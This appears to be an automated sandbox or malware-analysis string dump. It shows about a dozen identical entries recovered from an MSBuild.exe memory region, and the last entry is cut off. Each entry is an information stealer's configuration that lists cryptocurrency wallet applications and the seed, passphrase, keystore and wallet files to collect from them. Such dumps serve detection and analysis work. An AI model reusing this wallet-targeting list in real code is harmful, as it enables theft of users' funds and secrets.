Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000001.00000002.2045233748.0000000001047000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia 